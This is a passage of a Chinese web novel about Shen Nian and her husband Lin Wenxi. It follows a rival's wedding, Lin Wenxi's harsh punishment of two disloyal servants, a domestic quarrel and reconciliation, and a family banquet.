沈年一把将帘子推起来见林闻溪忍痛捂着手,整个人缩成一团,也不抬眼看她。 “我看看你的手。”沈年走近到他身边蹲下来,把他的手拉到*自己身前,见到手背上一片通红,心疼的低头吹了吹。 林闻溪稍稍抬头看见沈年的表情,“那位小侍已经给我擦过药了,不怎么疼,三娘别太担心。” “好好的是怎么回事?” 林闻溪愧疚道:“是我手脚笨自己打翻了茶盏,给三娘丢脸了。” 沈年转头看见桌案上放着的药膏又取了一些给林闻溪涂上,“说这干什么,以后小心点就好了。” 林闻溪点头推了推沈年的手道:“快要开席了三娘回去吧,我不碍事的。” 沈年见他人并没有什么大事,在这里呆久了也不方便,伸手摸了摸林闻溪的脑袋道:“一会迎亲的队伍回来,你到前院来看,我等你过来。” “好。”林闻溪乖乖应道。 沈年放下他的手从帘中出去,又回头瞧了瞧他,林闻溪扬起脸向她笑了笑。 见沈年的背影离去,后院里的男眷们陆续又将竹帘卷起来,刚才院中寂静,沈年与林闻溪的声音虽然很轻但他们依旧可以听的清楚。 沈少卿温言细语,二人说的只是寻常的几个字,听起来却像是情话一样。 他们听着竟还觉得有丝脸红。 此刻这一院子的郎君是真真心中生羡了。 在二人身侧坐着的林长羽不单是听的比旁人更清楚,隔着竹帘的窄缝他还清清楚楚的看见了沈年的手温柔的摸着林闻溪的头安抚,看到的那一眼,他下意识的转过了头。 他心中觉得哪处堵住了。 他不觉的那是羡慕,而是一种莫名的不爽。 不单是他,林府的人都对这个母亲从外头带回来的孩子不大亲近,按林闻溪爹爹那样卑微的出身,他们与林闻溪称兄道弟实在是有些自降身价。 偏偏林闻溪又是是闷葫芦,也不想着用什么法子融进府里来,每日只在自己院子里呆着,偶尔府中有什么热闹事只会一个人呆呆坐着,问他一句答一句,实在是个无趣的木头。 谁都没成想这样一个死木头竟那一日大着胆子去寻了父亲,自己求着去当那沈三娘的正君。 府里的人都觉得这人原来心眼如此活泛,为了沈府荣华自轻自贱选了那样一个妻主。 林府上下对这人十分不齿,他出阁那日众人嘴里都念着一句大差不差的话。 果然是个外室生的,眼皮子就是浅。 这样品性的人本该就像先前入沈府的那半年一样,过那样的日子才对。 怎突然撞了运,什么好事都摊在他身上了。 老天爷实在识人不清。 39 第39章 ◎红帐中的新郎◎ 徐府的侍从如贯,端着案盘将陆续将各式精致菜羹摆在各郎君的桌案上。 “阿兄先前可是个稳重人,怎跟我说几句话的工夫将茶盏给打翻了,若是我说错了什么话也是无心之失,还望阿兄不要见怪。” 林长羽握起酒壶给自己斟了一小杯酒转身向林闻溪敬酒赔礼道。 林闻溪见惯了他这副作态,林府里的人个个表面一副礼数周全的君子模样,实则骨子里最是假惺惺,瞧不上别人的。 听着林长羽唤他这一声声阿兄林闻溪并不觉得有多亲近,不过是高高在上对他的一种施舍罢了。 碍于此刻在众人面前,他还是体面将酒盏举起来在唇边略微碰了碰。 席间一年轻郎君脸上噙着浅笑走近过来向林闻溪搭话:“林正君的手没什么大碍吧。” 林闻溪见过这郎君,依稀听说他母亲当年在放榜那日,在皇榜下给他与新科状元说成了亲事,也不知那状元如今是个什么官。 来不及想这些,林闻溪起身笑脸相迎,“多谢郎君关心,不妨什么事。” 他邀那郎君坐在他身侧坐下,二人没话找话叙了几句,接连又有几位端着酒杯过来围坐。 谁知几人不谈什么正事,只一味的问林闻溪有何秘籍能让娘子回心转意,还将她的心栓的这般紧。 林闻溪被挤在中间众星捧月,憋红了脸说不出什么所以然,听到外院传来一阵敲锣打鼓的声响,赶忙起身理了理袖子,搪塞了几句溜之大吉。 —— 阿久坐在车撵的红帐之中,他一身喜服手中握着圆扇的玉柄,扇面上是用金线绣的一对凫水鸳鸯,他面色却冷的发白,眼睛直直的盯着那扇面失神,面无表情坐在红帐内如同一只艳鬼。 红帐被被他一丝缝隙,他将身子往前探将一只眼睛抵在细缝中看,他的眼珠在徐府门前簇拥着的人脸上飘移,看到那一张脸他的瞳孔微缩,歪着脸恨意汹涌。 他引狼入室将刘宅推入了火坑,母亲一怒之下当着一宅子人的面打了他二十板,他两个月不能下榻。 叫他如何能不恨! 明知道轿撵中坐着的人是他,这女人却不曾把眼睛往这边看,眯眼掂着脚不知在作何。 他将视线锁在她身上,恨不得将人盯穿。 他看着忽然扭着眉握起手心,指甲嵌进皮肉之中压出深深的半月痕。 他瞧见那林氏从人群中低头挤到那女人身边,那女人眉开眼笑还牵着林氏的手摸个不停。 他甩下手中的红帐,将那一丝缝隙掩住,前夜他从宅中潜出来,在那山庄中等到她入夜也未等到她人来。 沈府里他的人明明递了消息出来,那鳏夫按照约定吞下了药丸甚至于还自主主张咬了沈年一口,沈年竟依旧缩在府中不出来相见。 说起来直到昨日往沈府射出那只箭头时,他还是未想到如何报复沈年最为解恨,只想着与她先相见一面,毕竟他明日便要成婚成为别人的夫婿了,他想见沈年一面与她说一些什么。 可她并未前来。 阿久只觉得心中有一重深深的挫败感,心中更憎恨了许多。 他未察觉到车撵是何时停在徐府正门前的,只是眼前忽的一亮,红帐被掀开,面前是他今日新婚的娘子。 阿久神色恍惚,听着面前红妆的娘子向他探出手说道:“郎君该下来了。” 阿久迟疑的将扇面挡在自己面前,只将手搭在她的衣袖上缓缓下了地。 他瞥见沈年的目光落在了他身上,将身子挺的笔直对身旁的娘子笑的一脸甜蜜,行过进门礼经过沈年身边的时候,他更是一个眼神都没给沈年。 进去厅堂内拜见高堂,他不见沈年进内观礼只停在外面倚靠着凭栏又同那林氏耳语,他差一点没压下眼中的凌厉,最后夫妻对拜时忍不住将目光投在她身上,尖锐的一瞪。 林闻溪先瞧见他的眼神,将沈年一把拉在自己身后挡住阿久的视线。 见阿久被人拥着往后院里去,林闻溪才唤沈年让她出来。 林闻溪皱眉:“瞧他那双眼睛恨不得要将三娘剐一刀,这两府离得几步远的路,日后他定是安生不了。” “他不过就会使那些背地里的手段,知道他不怀好意日后躲远些便好,我也不是他案板上的鱼肉,任他想怎样就怎样。” 听到沈年这般说,林闻溪心中有底。 阿久不是什么好人,他也不是。 若他要碍了沈年的前程,他自有比阿久更毒的手段去对付他。 沈年今日特意瞧着与阿久成婚的女子,见她神情似有些异样,尤其是眼神木愣愣的。 她回想了一下徐珞宁曾与她讲过的,她这妹妹不光是对阿久一见钟情,而且如痴如梦到见不到人就害病的程度。 低头看看自己手上的青纹,沈年想着莫不是徐珞宁这庶妹也中了阿久的招,中了情蛊不成。 若是因自己与阿久的恩怨,而牵连到旁人身上实在是无辜。 厅堂里的一众宾客散去各自回席,酒过三巡闹哄哄的围着新娘灌酒贺她好福气,娶了一个芝兰玉树的美男子。 沈年凑过去在人缝中瞧那新娘的手背,并无什么病症。 她握着酒盏在新娘面前左转右转,实在寻不到能与她单独说话的间隙,日过黄昏宾客推着新娘往后院子里去,说是要去戏新郎,沈年跟着前去。 哐当一大声喜屋的门扇被推开,阿久坐在铜镜前的从镜中瞧见了人堆里的沈年,他一瞬眼眶发红,赶忙执起扇子掩住自己的面庞。 人们推着阿久和新娘坐到塌边,阿久端着那盏合卺酒手中颤抖一时喝不下去,他如愿来到沈年面前办了场隆重的婚礼,本应该心中欢喜才是。 眼前的新娘家室与沈府相比起来也并未差到哪里去,甚至他只是催了一点情蛊这女子便对他痴迷如梦,他此刻该在沈年面前抬起脸才是,告诉她自己不是非她不可,离了她多的是女子想要迎他过门。 可今日见到沈年他才发觉似乎并不是这么回事,他此刻心中涌起一股悔意,想着撕掉身上这身喜服从这屋中逃出去。 苦酒入喉,一屋子的人又叫新娘对什么诗句,他无心去听感官麻木只觉得太过吵闹。 “你莫要一错再错。”他忽的听见沈年极小声的声音在他耳边。 恍然抬起眼,沈年正站在离他很近的地方。 他怔怔的看了一眼沈年,沈年很快避嫌又走到远处去了。 阿久收敛一丝眼神,透过扇面的薄纱看到沈年指了指她手背上的青痕,扬起下巴指向他身旁的新娘向他一脸紧张的摇了摇头。 他本就与这女子无冤无仇并不想害她性命,他看着沈年居然鬼使神差的向她点了下头。 喧闹一番屋中的人散去,他瞧着沈年的背影从门口消失,深深垂下头。 —— 沈年没想到阿久会回应自己,从徐府出来时心中平静了许多。 她站在马车前等林闻溪从后院出来,见林闻溪边往外走边跟身旁的郎君和颜说话。 等林闻溪走到她身边,沈年笑着打趣他:“看你这一整日是交了不少朋友呢。” “不过是逢场作戏,等他们回去同娘子们吹吹枕边风,为三娘拉些人脉,就算我这一下午没白费口舌了。” 沈年抬起林闻溪的手见他还是疼的皱了皱眉,往他身上贴了贴道了声谢。 “见过阿嫂。”林长羽跟在后面走过来向沈年微微颔首道。 林闻溪冷淡向沈年道了一声:“这是林府里的。” 沈年那会听林闻溪说了他打翻茶盏便是他这个弟弟出言中伤的缘故,秉着礼数客气向林长羽点了下头后便转身拉着林闻溪往车厢里去。 林长羽见二人要走,又拦在车前补了一句:“阿嫂和兄长哪日得了空闲,到林府来坐坐,母亲和父亲都念着你们呢。” 沈年隔着窗向他道:“近来实在抽不出身,等哪日赋闲便去林府拜见长辈。” “林府素来也许徐家没什么往来,估计是我母亲想见三娘,却拉不下脸面主动派人来请,只好让这林长羽来这婚宴上给我传话。” 林闻溪嫌恶的隔着在暗处白了一眼林长羽,“以前可没人管我死活,林府自诩清高,实则不也是这副拜高踩低的嘴脸。” 回了府中进院,几个小侍躬身向林闻溪来告,今日林闻溪不在府里的人便开始懈怠起来,还有几个买通了护院偷偷往府外去了一回。 林闻溪出门时就留心交代了几个侍从,有老的有年轻的,都是从前在府中不受沈父待见的人,现在自然尽心替他出力。 林闻溪赏了几人几吊钱,沈年席上饮了不少的酒喊着头昏,林闻溪先照顾着她入榻睡下,而后吹了灯从屋中出来。 “正君,那几人现都在屋中睡着。”小侍提着盏灯笼回来向林闻溪禀告。 “去着人将今日出府的人都绑起来,记着不要弄出太大动静扰了三娘歇息。” 小侍得令道了一声是,招呼了五六个人气势汹汹而去,很快捆了三个人压到林闻溪面前。 其中有两人是一对亲兄弟,林闻溪还没开口问什么那两人就跪在地上瑟瑟缩缩脸都不敢抬一下。 小侍提着一布袋子银两扔到两人面前,“你们从哪里得来这么多锭银子,今日还鬼鬼祟祟出府藏在一处树根子底下。” 两兄弟将那袋子钱拉到自己怀中,自知沈府二人是呆不下去了。抬头骂了那小侍一句,“你这个没骨气的东西,不和我们这些下人一条心只想着献媚这个小人得志的林氏!” 小侍转脸看了林闻溪一眼,识他的意抡起胳膊在两人脸上狠狠落下一掌,“你们两个吃里扒外的内贼,还敢说主子的不是。” 两兄弟梗着脖子接着嘴硬道:“什么内贼,我们哥俩一心效忠沈府可没做过那种事。” “那你们这么多钱哪里来的,还要违正君的命偷偷藏到府外去?” “这是我们娘亲和爹爹留给我们的,再说了我们的钱想放到何处就放到何处。” “你们娘亲早就辞世了,只有个年迈的老爹就算有点钱也早给他治病花完了,哪里还有钱给给你们留着。” 那两兄弟晓得仆人不忠是可被主家告去官府的,现在只能死不承认,拿了这袋银子走人,“这银子上是写了名字不成,我们说是爹娘留的就是,既然说我两坏了林氏的规矩,那便还我们身契我们离府就是。” 林闻溪眼神中闪过凌厉的杀意,信步走到两人面前声音凄冷:“向外人通风报信,差点伤了三娘的性命,现在想着拍拍屁股拿钱走人,天底下可没有那么好的事情。” “你说我们背主又没有证据,难不成要强将我们扣在这。” 林闻溪抽抽嘴角嗤笑一声,向身后那几个剽悍的护院道:“压进那院里,给上点刑,留口气别让死在沈府里就行。” 那两人闻言慌乱向林闻溪喊道:“你敢动用私刑!” 护院上前来将两人的嘴捂住不得出声,拽着胳膊拖了下去。 余下的那一人见状连连在地上磕头求饶道:“正君我出府是真的有件私事要办,与他们两一点都不相干,求正君宽宏大量饶小人一回。” 林闻溪按了按眼眶:“我今日饶了你往后这府中谁还把我的规矩当回事,不罚你已是我宽容,明日自个收拾东西离府。” “正君小人真的知道错了,离了府小人实在无处可去,您真的不能赶小人走。” “悄声些!”林闻溪不耐烦的甩了甩衣袖,示意身旁的小侍将人带回去。 他回了屋内上榻躺在沈年身边,沈年闭着眼迷迷糊糊碰了碰他问:“你不睡觉是去哪里了。” 林闻溪翻身过去轻拍着沈年的背:“我口渴下榻喝了几杯茶,惊扰到三娘了。” 沈年被他的手掌拍着又很快睡着,他将沈年搂在怀中抱着紧。 天微微亮的时候,沈年被他框在身前硬生生闷醒,起身下榻拿冷帕子擦了擦脸。 外面的小侍听见屋内的动静,以为是林闻溪起身了,轻轻叩了下门禀告。 “正君昨夜那两人已经招供画押了。” “什么人?”沈年闻声疑惑开门问道。 “三……三娘子。” 小侍见到沈年的脸,神色慌张结巴道。 40 第40章 ◎站在你这边◎ 沈年向里屋回头瞟了一眼,见榻上的林闻溪还睡的安稳,合上门移步到院外问道:“慌什么?正君难不成瞒着我做了什么亏心事。” 小侍闻言赶忙摆头道:“是昨夜拿了两个向府外递消息的内贼,只是正君吩咐不必将此事禀告三娘子。” “人关在何处,带我去看看。” 小侍引着沈年往那处荒院中去,一推门进去是股久不通风的木朽味,房檐木窗上盖着一重厚重的土灰,地上两个男子蜷缩在地上口中流着涎水,浑身时不时猛的抽搐几下,屋子狭小二人一动作就扬起一屋的飞尘。 二人身上并未见外伤,沈年听着他们的痛苦的抽泣,压着眉头走到近前去瞧见二人十指上冒着几点不起眼的小血珠,像是用针刺出来的。 其中一人仰面睁眼看到沈年的脸,从地上爬起来凄声向她哭诉道:“正君冷酷薄凉,就算我二人有错也不该受此等酷刑,他一点不念及我等在沈府多年侍奉的情义,先前就因一点小事便将院中的老仆责打出府自生自灭,三娘子不该被这种黑了心男人蒙蔽……” 说到一半另一个咳声推了推他,他向门口看了一眼吓得不敢再出声。 沈年回头见林闻溪扶着门框慌慌忙忙的走进来,先低头眼神压迫地瞥了一眼地上的两人,而后看向沈年堆出笑容,走过来挡在两人身前挽着沈年的胳膊,手中微微发力拽着她向外走。 “三娘怎往这院中来了,这屋里头味道重不宜久站。” 沈年出了屋盯着林闻溪看,林闻溪来迟了一步在门外听到那两兄弟向沈年告状的事,心虚地眼睛四处乱飘,低头只敢用余光偷偷打量沈年的表情。 “你昨夜不在榻上明明是去绑这两人,为何又用谎话唬我说去喝什么茶。” 林闻溪忐忑凑近拂了拂沈年衣裳上落得灰尘,不忌院中中几双眼睛低头依在她肩上可怜巴巴道:“这两兄弟刁滑死不认罪还出言咒骂于我,我只是想为三娘讨个公道,让这二人早些招供才命人使了点刑术。” 沈年冷冷的将他从身上推开:“我问你的是这桩事吗?我问你的是为何总是想着瞒我。” “我只是想着三娘朝事繁多,这些小事有我一人打理便好,无需再让三娘劳心费力。” “你又用这种话来哄我。”沈年垂气向后退了一步,躲开他又探过来揽她肩的手,“你为何不能对我坦诚一些。” 林闻溪几次启唇又合上,他记恨府中曾欺辱过他的人,那两兄弟所言没错他心肠狭小睚眦必报,此回是他有意借机报复从前的事。 他与沈年相伴如此久也学不来一点她的仁心宽容。 或许他生来就是这样心如蛇蝎的品性,若是沈年看清了他的为人,心中会不会扎下刺,会不会俱他怕他。 他不知该如何开口言说,哽着声拿袖子抹了抹眼睛抬脚径直回屋里将自己关起来逃避。 白石端着早膳进屋内见林闻溪独自垂泪,上前抚了抚他的后背宽慰。 林闻溪听见有人来抬了抬脸将泪珠压回去,他背着身难掩哭腔问:“三娘呢?” 白石道:“三娘子出府上值去了刚前院传过话来说三娘子回了主家,请侧君来打理那边大院子的事,郎君日后只需管着您与三娘子这院的事情。” 林闻溪闻言扭脸惊慌失色道:“三娘她这是真恼我了。” “郎君整日为府中的事耗心神,如今有个人分担也不算什么坏事,再恩爱的夫妻也难免会有拌嘴的时候,过两日自会好的。” “都怪那两兄弟多嘴,我早该把那两人舌头给割了。”林闻溪话音未落自己也吓了一跳,在自己嘴巴上用力扇了几下。 白石忙止住他的动作劝告道:“郎君这是何苦。” 他的眼睛被泪染得通红,低着头痛苦的哀沉这脸:“你应也觉得我心肠狠毒吧,张口就想着伤人的命。” “谁没有嘴上厉害过,再说是那些人有错在先合该受罚,郎君待三娘子和我不是良善的很,若您真是个十恶不赦的狠毒之人,三娘子也不会待您这样诚心。” 林闻溪想着在废院中沈年后退的动作,并未被白石的话劝慰多少,挥了挥手怅然道:“你先退下,我自个静一静。” 白石忧心他伤神过度,退出门后守在屋外时不时隔着窗向里面打望一眼。 沈年晌午下值回来,瞧见白石在屋檐底下晒得出汗,问了一句:“怎干站在这大日头底下不进屋去。” 白石将脑袋向里面扭了扭,抬手做了个抹眼泪的动作,“都一上午了实在叫人不放心。” 沈年点了下头吩咐白石回去歇着,进了屋左瞧又瞧不见林闻溪人在哪,沈年唤他名字不见他应声,有一处纱帘倒是忽然动了一下。 她无奈摇了摇头,先将自己身上的官服换下,又慢条斯理的拿起冷帕子擦了擦脸,依旧不见人动。 她走过去脚步停在纱帘前抬手去扯,低头看见有双手紧紧攥着让她如何都拉不动。 沈年放开手向帘中的那一团道:“你再不松手我就走了。” 林闻溪闻言缓慢将帘子露出一角,他的脸被纱帘闷的面颊泛红,眼尾还带着未抹干的泪珠,一整张脸哪哪都写着可怜。见到她仰面克制不住落下一滴泪,揽着沈年的腿将脸贴上来。 沈年俯下身摸了摸他的后颈安抚:“瞧你那双眼睛红成什么样了还没哭够?” 林闻溪此时像是等来主人回到身边的大犬,搂着她的肩颈狂蹭,语气黏糊道:“三娘今日是真生我的气了吧。” “你话还没说完就跑了是何故,不过我再气一会你怕是要将眼睛哭瞎了。” 沈年搂住他的腰要将人扶起来,林闻溪却拉住她的手,将脸抬起来注视着她的眼睛,鼓了很大的勇气才开口:“三娘其实我不好我心中想过许多的恶事我” “你昨夜瞒着我就是因为这个?” “我害怕三娘知道我命人动那些刑会觉的我手段残忍,会对我心生芥蒂,会向先前那样畏惧我,要同我和离将我丢下。” 沈年眼眸中闪着光泽,捧着他的脸止住他说话时的颤抖,向他温柔笑了,“我一直都知道你是什么样子的,我生气你总有意瞒着只是害怕节外生枝,害怕在我不知不觉中你又走向那种境地。” 林闻溪眼神迷蒙的看向她,他隐约觉察到沈年心中有桩大事在瞒着他,他蓦的回想起沈年曾说过要他离开沈府,说他往后会有什么报应。 沈年似乎知晓他的命运,而结局在她言语间听来似乎会很凄惨。 他垂头沉思片刻,沈年含糊其辞想来是不愿与他细说,他不想沈年为难尽管心中万分好奇还是将话堵在心口没问出口。 林闻溪看到沈年眼中的忧虑,笑起来开玩笑打趣自己道:“三娘早都知道,怪不得从前那般害怕我呢,我日后定敞开心怀何事都不瞒着三娘了。” 沈年凑过脸在他嘴边郑重亲了亲,“你无需因我而患得患失,日后不论到那种境地我都不会将你丢下,我会站在你这一边。” “那今日那两个男子三娘不怪我吗?” “他们都有心害我,我为何要反过来心疼他们,这府里本该就有规矩,若是只讲主仆情那这院里就该乱成一锅粥了。” 林闻溪不再遮掩心中的想法,问道:“那三娘为何要去回母亲,那侧君毕竟是个外人,如此不是这后院的权柄白白扔给他一半了嘛。” 沈年扶着他起身坐在凳上道:“侧君所生的那位公子沈岳,今早听母亲说等晚些时候到府,我不想让你掺和他的事情而已,正好和母亲那边分开也省事。” 林闻溪闻言牵上沈年的手晃了晃,“三娘的阿弟要回府我这副面容如何出去见人,劳烦三娘帮我打盆冷水进来敷敷眼睛。” 沈年拍拍他的脸笑了一声,“晴一时雨一时,真不知道你这脾气。” 林闻溪等了一会见端着木盆进来的是白石。 “三娘子忙着造她那些图纸上的东西去了,我帮郎君冷敷吧。” 林闻溪眉开眼笑鼓着脸点点头道:“今日还要谢你宽解我。” 白石将帕子叠成长条盖在林闻溪眼皮上轻轻按揉,出口笑道:“我的话哪管什么用,三娘子一回来片刻工夫郎君便好了。” “先前是我误会三娘了,”林闻溪惭愧的挠了挠脸道,而后将话头转到白石身上,“你们婚期将近,你那喜服可缝好了没有?” 白石害羞道:“将郎君赏我那几颗珠子镶上去便成了。” “虽说沈府里有屋子住,但我倒是还想给你们置办间小院呢。” “京里的地皮金贵,三娘子和郎君已为我二人添置了许多,这院子我们是万万受不起了。” 林闻溪敷过帕子又涂了些凉药到黄昏的时候眼皮才看起来没那般红肿。 沈季从院中进来瞧见林闻溪的脸走上前来关心道:“妹夫这眼睛是怎么回事?” “没没什么,今日和三娘闹了些误会,已经无碍了。”林闻溪起身迎沈季坐下,“兄长怎么有空来我们院中了?” “这流泪多了伤身,妹夫还是要善自保养才是。” 沈季忍不住劝慰他一句,而后又道:“母亲着人传话来,说是岳弟今日回府,我们这家子好容易团圆一回,唤我回来聚一聚。” “岳弟久在外未归我未曾见过,三娘晌午回来才与我说他要回府的事,一时都来不及备份薄礼。” “他心直口快是个直爽人不会在意这些,妹夫放心就是。” 沈季说罢将上身向林闻溪倾过来,压着声音问道,“刚才妹妹抱我那两个孩子我瞧见她手上似有一点青斑,有母亲在我不敢多问,可是她又在外头犯了什么浑?” 沈季行事稳重,林闻溪看的出他是真心为沈年忧心,也就未隐瞒将事情和盘托出。 “天底下还有这般疯魔的男子,妹妹如今惹眼这男子可是个大麻烦,过两日我寻个由头请他到府中问问清楚。” 林闻溪谢了他几句,外面小侍进来报沈岳的车马到府里了,请二人出去相见。 40-50 41 第41章 ◎沈家家宴◎ 沈年在庭院中给两个小侄做了只竹蜻蜓玩,她举起来用手中一撮便在空中飞的很高。 两稚童围在她腿边仰着粉润的小脸拍着手欢喜,沈年并不怎么喜欢小孩,奈何沈季所生的这这一双儿女实在玉雪可爱,随了沈季的性子一点都不顽皮闹人,讲起话来还有些口齿不清软糯糯的。 林闻溪随着沈季从长廊中走过来,远远的瞧见这幕,沈季不由得面中含笑但余光瞥见林闻溪的神色,敛起笑容拍了拍他的手道:“你们夫妻二人感情甚笃,往后迟早还会有的。” 林闻溪抿嘴点了下头,他的身子大夫说要调养个一年半载的,一时半刻是要不了的。 二人走近去堂中,见那位侧君也在颔首寒暄了几句。 这侧君的平日里院门紧闭,虽说沈父已不在府中但沈修撰也很少往那院子里去,连沈季对他也十分生疏,说了几句场面话便各自安静坐着瞧着庭院中的欢声笑语。 林闻溪瞧了几眼,转头看着沈季盯着庭中眼中写着藏不住的落寞,沈季手中那盏茶已经握在手中许久他走神一口未喝。 林闻溪回想自他来了沈府,沈季每回归家都是只身一人从未见他带着妻主回府过,不知是何缘故。 正瞧着见庭中圆石门前,小侍在前徐徐引着一鲜衣红绸带束发的男子大步流星的走进来,身旁一直端坐不语的侧君,见到眼前之人抓起帕子一角在眼尾擦了擦后缓缓起身往庭中去。 沈岳看到沈年先盯着端详了几眼,而后走过来俯身行礼道:“阿姐好。” 沈年笑眯眯的向他,他生的剑眉星目又身形修长,周身似乎独笼着一层微光。 “平卢县近来可还安稳?”沈年向他挑了挑眉意有所指的问道。 沈岳低头淡淡一笑道:“县中前不久新上任了位罗县令,她还托我给阿姐带了一封信来呢。” 沈岳从袖中取出一封黄纸包着的信纸递给沈年,沈年展开一阅罗从宛在信中开头贺她入朝为官,而后数百字皆是要她在朝中小心提防,保全自身之言。 沈年念着她写的字默默想着一事,让罗从宛在平卢县蹉跎三年实在是浪费光阴,她要再加班加点些这一两日将图纸造出来投入田间使用,升官到御前将罗从宛从平卢县捞回京中。 一来让罗从宛提前发力整肃朝纲,二来也不用让她和沈岳两地相隔,像书中一样纠葛误会多年,早些成婚免得生什么变故。 她想定这桩事回头看着沈岳与侧君揽在一起掩面流泪,林闻溪跟着沈季在一旁拍着沈岳的背劝慰。 “你们父子二人团聚是好事,莫要再伤怀了。” 沈年听着林闻溪秉着一副知心好哥哥的模样向沈岳说话,咳了一声假装不经意将林闻溪拉到自己身后。 林闻溪懵懵的转头瞧了她一眼,沈年向他使了个眼色,他虽还是不大明白自己又哪里不妥了还是乖乖跟在沈年身后不再上前。 侍从去唤了沈修撰来预备开宴,沈修撰对这个常年不见的儿子疏离的很,二人一问一答说了不过三四句话,沈修撰便将目光转到沈季和她二人身上。 沈季是沈府头一个孩子,他出生时沈修撰和沈父感情正浓又正是沈修撰年轻意气风发的时候,因此沈修撰对沈季倒是很疼爱。 沈修撰不悦皱眉关切问沈季道:“我不是差人去唤了你们夫妻二人都过来,怎又是你一人。” 沈季艰涩开口道:“她叫我先过来,兴许一会子她忙过了就来了吧。” 沈修撰气的哼了一声道:“她打量着我们沈府没人,这些年倒是越发怠慢了。” 沈季落寞的将头低垂下,两个孩子扑到他膝上抓着他的手乖巧道:“爹爹不难过。” 沈年不知沈季在那府原是过这样的日子,抬手搭到他肩上心疼道:“阿兄如今有我在呢,你在那边府中要是受了什么委屈和我说。” 沈季隐忍着眼中的湿润,抬头向沈年强颜欢笑道:“没什么委屈,日子过久了不都是这般嘛,妹妹不必替我忧心。” 沈修撰哀愁叹了一声,向沈年道:“瞧见了没,往后这一府的担子如今都在你肩上压着呢。” 她话音未落,便听有声音从外面庭院中传进来。 “见过岳母,”女子衣饰流光溢彩,腰间挂着几只精致的香囊玉佩一进门便为自个开脱,“先前有差事在身多日未曾过府中拜见,不知岳母身子康健否。” 沈修撰板着张脸不给她台阶下,那女子转头看向沈季撇了撇嘴角,示意他开口为自己解围。 沈年迈了一步挡在沈季身前替他撑腰道:“这原也是我*们沈府的家宴,阿嫂若真抽不出空来也无妨。” 那女子尴尬笑了笑,走近来强将一个孩子抱在怀中:“贤妹这说的就见外了,我与沈郎成婚多年也算是沈府半个女儿呢,今儿实是有事耽搁才来迟了。” 沈季不想因自己将场面闹得难堪,起身开口道:“既人都到齐了,那边吩咐开宴吧。” 林闻溪看了半天白戏说不上话,闻言应了一声出去吩咐。 回来时几人已经就坐,那女子和沈年各坐在沈修撰两侧,沈季身边又围着两个孩子,林闻溪想了想只好挨着那侧君和沈岳相宜。 他正要坐下,听沈年唤了他一声道:“到我这来。” 那女子见状端起酒杯向沈年笑了一声道:“贤妹真是和从前大不一样了,如今夫妻和睦,仕途大好我该贺你一杯才是。” 桌上几双眼睛都盯着林闻溪瞧,林闻溪看向沈年脸皮腾的一下发红,埋下脸尽量不出什么动静坐下。 沈年举起酒盏若无其事的碰杯抿了一口,反正被人看两眼又不会掉一根汗毛,她堵住林闻溪和沈岳接触才是正事。 沈修撰十分见不得沈年将心思放在林闻溪身上过多,冷言讽她道:“尽学了这些上不得台面的小情小意来。” 林闻溪闻言吓得恨不得将头躲进桌案底下,他咽了咽喉咙忽然间手掌一温,沈年的手指正在底下轻抚着他的手背,他耳尖红的滴血,另一只手刻意掩在嘴边轻咳了一声。 他偏头偷偷看一眼沈年,沈年朝他缓缓眨了下眼将手指放开。 虽说背着众人偷偷牵手有些难以言说,但沈年摸他那几下让他着实的慌乱消散不少。 林闻溪总算敢动了筷子,将头抬起来听着众人说话,随着沈年的话附和几声。 这家宴一桌子人还算融洽,月上树梢的时辰,林闻溪随着沈年到府门前送沈季一家人回去。 那女子似是酒喝多了,歪七扭八的往抱着孩子的沈季身上倒。 沈年推起她的肩告诫了一句:“我兄长这般温柔端正的人,这世上不可多得,还望你待他好一些。” 女子摇摇晃晃的点头,不知道听见她的话没有,沈年气的趁她不注意用手肘顶了她几下。 沈季倒是将沈年的话一字字听的清楚,背过身动容掉眼泪。 小女儿在他怀里替他抹着眼泪,“爹爹怎么掉眼泪。” 林闻溪听见小孩子的话扯了扯沈年的袖子,沈年会意过去瞧着他的眼中的泪珠心揪道:“我先前与兄长说的那些都是真心实意的,沈府是兄长的家,你何时都可以回来。” 沈季露出笑颜,自个将脸上的泪擦了个干净。 “妹妹放心阿兄没受什么大苦楚,就是那府里人多家长里短的牵扯不清,只是妹妹如此相护,阿兄没出息有些动容而已。” 沈年点头将父子三人安顿到车厢内,在窗前指了指坐在地上的那女子道:“让她自个坐那辆马车,免得这醉鬼不当心伤了兄长和孩子。” 沈季忍俊不禁点头。 将二人送走沈年戳了戳林闻溪,“你先自个回去,我去寻岳弟问问手上这青纹是怎么回事?” 林闻溪握起沈年的手瞧见那青纹又多了些,“问他?” “他会医术。” 林闻溪惊奇的挑了挑眉道:“岳弟那样的相貌的男子居然会医术,三娘可真是什么都知晓。” “往后你躲他远些,最好一句话都不要多与他说。” 林闻溪一面点着头一面猜测问道:“怎么,他难不成日后会害我?” 沈年笑了一声摇头,“我得过去了,再晚一些他该睡下了。” “对了今日兄长他瞧见了三娘手上的青纹来问我,我便将事情与他说了,应该无妨吧。” 沈年摆了摆手和他分别:“没事。” 去时侧君院中的院门已经关上了,沈年叩了两声门上的铜环。 来开门的是位老仆,“夜已深,三娘子怎往侧君院中来了。” 沈年往院中瞧了一眼,看见屋里的灯烛还亮着,“岳弟还未睡下吧,我有些事情想寻他问一问。” 那老仆未应声转头回去院中禀告,来的却是那位侧君,他隔着门推脱道:“岳儿与三娘子自幼分别久未相见,不知三娘子有何事寻他。” 沈父在沈府后院中一向是大权在握,自晓得了与他一同进府的那位被沈父明晃晃几碗送过去要了性命,他如何能不怕。 得知身怀有孕后不敢声张,托病将自己关在院中半年等到快要临盆之时才去沈修撰面前跪求了一位接生大夫来,幸而上苍庇佑他所生的是个男孩。 但沈父一直揪着他有孕不报之事发难,沈年是沈府的独苗,被沈父娇惯的自幼顽劣总在玩闹之间欺负沈岳。 他为护着沈岳让他平安长大,只得忍心割爱将只有五岁大的小儿送去阿姐家中寄养,若非沈岳到了该议婚事的年纪,他怎愿让沈岳回这凶险的沈府来。 眼下沈年无故寻上门来,他头一桩想的便是定不是什么好事。 沈年听他的语气,在门前言辞恳切道:“侧君莫要多想,若是不放心我便与岳弟在这门口您眼皮子底下,只问他几句话便走。” 沈岳也跟着在门后听见沈年的话握着侧君的胳膊道:“爹爹,阿姐如今长大了想来不会向幼时那般了。” 沈岳见今日他这个久未见的阿姐那般护着兄长,且在卢平县为那位罗县令医治时时常听她将阿姐说的和天上月一样皎洁,想来不会是来害他的。 将那位侧君好说歹说劝回屋中,沈岳将院门打开。 “阿姐寻我何事,到院中坐着说吧。” 42 第42章 ◎与阿久见面◎ 